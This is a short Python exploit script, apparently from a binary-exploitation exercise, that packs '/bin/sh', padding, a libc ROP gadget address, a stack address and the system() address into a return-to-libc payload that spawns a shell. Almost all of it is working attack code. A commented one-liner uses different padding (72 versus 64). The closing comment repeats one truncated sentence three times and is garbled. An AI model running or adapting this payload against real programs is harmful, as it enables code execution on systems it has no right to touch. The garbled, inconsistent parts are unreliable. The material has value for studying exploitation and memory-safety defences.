import struct
bin='/bin/sh\0       '
GADGET=0x26542
SYSTEM=0x052fd0
LIBC_START=0x7ffff7dc6000
ESP_RET=0x7fffffffe550
ROP=LIBC_START+GADGET #0x7ffff7dec542
PAD='A'*(64 - len(bin))
exploit=bin+PAD+struct.pack('< Q',ROP)+struct.pack('< Q',ESP_RET)+struct.pack('< Q',SYSTEM+LIBC_START)+('A'*10)
#print(len(exploit))
print(exploit)



#SYSTEM 0x7ffff7e18fd0
#python -c "import struct;bin='/bin/sh\0';GADGET=0x26542;SYSTEM=0x052fd0;LIBC_START=0x7ffff7dc6000;ESP_RET=0x7fffffffe550;ROP=LIBC_START+GADGET;
#PAD='A'*(72 - len(bin));print(bin+PAD+struct.pack('< Q',ROP)+struct.pack('< Q',ESP_RET)+struct.pack('< Q',SYSTEM+LIBC_START))"


#f it doesn't work, it will continue to increase. If it is changed 16 times, it will definitely encounter stack alignment.f it doesn't work, it will continue to increase. If it is changed 16 times, it will definitely encounter stack alignment.f it doesn't work, it will continue to increase. If it is changed 16 times, it will definitely encounter stack alignment.